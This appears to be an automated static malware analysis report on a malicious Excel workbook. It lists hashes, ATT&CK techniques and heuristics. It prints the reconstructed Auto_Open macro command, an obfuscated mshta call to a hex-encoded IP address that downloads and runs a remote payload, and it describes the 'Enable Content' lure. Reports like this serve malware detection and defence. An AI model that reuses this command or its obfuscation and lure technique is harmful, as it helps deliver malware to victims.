Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 f5ad3a601ad7905b…

MALICIOUS

Office (OLE) / .XLS

65.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 1f955148e05cb3b25ff79e373fd7329c SHA-1: 7e6303d893a329a0eaf1e6ea2e26ace4bf8f8196 SHA-256: f5ad3a601ad7905bd6205b965fd4f52c3054644a2a0b144651c2225c6450e229
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The Excel 4.0 macro sheet contains an Auto_Open defined name that executes a command. This command is reconstructed as 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which attempts to download and execute a payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass macro security. The presence of an Auto_Open macro and the lure strongly suggest a downloader or initial access stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes